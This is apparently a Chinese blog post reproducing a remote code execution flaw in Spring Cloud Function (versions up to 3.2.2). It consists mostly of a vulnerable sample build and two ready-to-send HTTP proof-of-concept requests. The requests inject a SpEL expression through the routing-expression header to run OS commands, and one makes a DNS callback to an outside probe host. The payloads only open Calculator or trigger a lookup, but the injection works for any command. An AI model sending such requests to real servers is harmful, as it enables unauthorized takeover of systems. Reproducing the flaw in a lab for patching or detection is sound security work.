spring-cloud 0day漏洞复现

最新推荐文章于 2024-07-05 15:06:33 发布

不走小道

最新推荐文章于 2024-07-05 15:06:33 发布

阅读量91

点赞数

文章标签：安全 bug

本文链接：https://blog.csdn.net/qq_21531681/article/details/135233307

版权

本文详细描述了SpringCloudFunction中的0day漏洞，涉及RCE（RemoteCodeExecution）攻击，提供了PoC（ProofofConcept）示例，展示了如何利用`routing-expression`执行恶意代码。影响版本包括3.2.2及之前的版本。

摘要由CSDN通过智能技术生成

spring-cloud 0day漏洞复现

spring-spel-0day-poc

spring-cloud/spring-cloud-function RCE EXP POC
https://github.com/spring-cloud/spring-cloud-function
header

spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("open -a calculator.app")

受影响吧版本

SpringCloudFunction 3 <= 漏洞版本 <= 3.2.2

build

wget https://github.com/spring-cloud/spring-cloud-function/archive/refs/tags/v3.1.6.zip
unzip v3.1.6.zip
cd spring-cloud-function-3.1.6
cd spring-cloud-function-samples/function-sample-pojo
mvn package
java -jar ./target/function-sample-pojo-2.0.0.RELEASE.jar

get path lists for test

find . -name "*.java"|xargs -I % cat %|grep -Eo '"([^" \.\/=>\|,:\}\+\)'"'"']{8,})"'|sort -u|sed 's/"//g'

...
functionRouter
uppercase
lowercase
...

poc1

POST /functionRouter HTTP/1.1
host:127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Connection: close
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("open -a /System/Applications/Calculator.app")
Content-Length: 5

helloexp

poc2

POST /functionRouter HTTP/1.1
host:127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Connection: close
spring.cloud.function.routing-expression:T(java.net.InetAddress).getByName("random87535.rce.helloexp.com")
Content-Length: 5

helloexp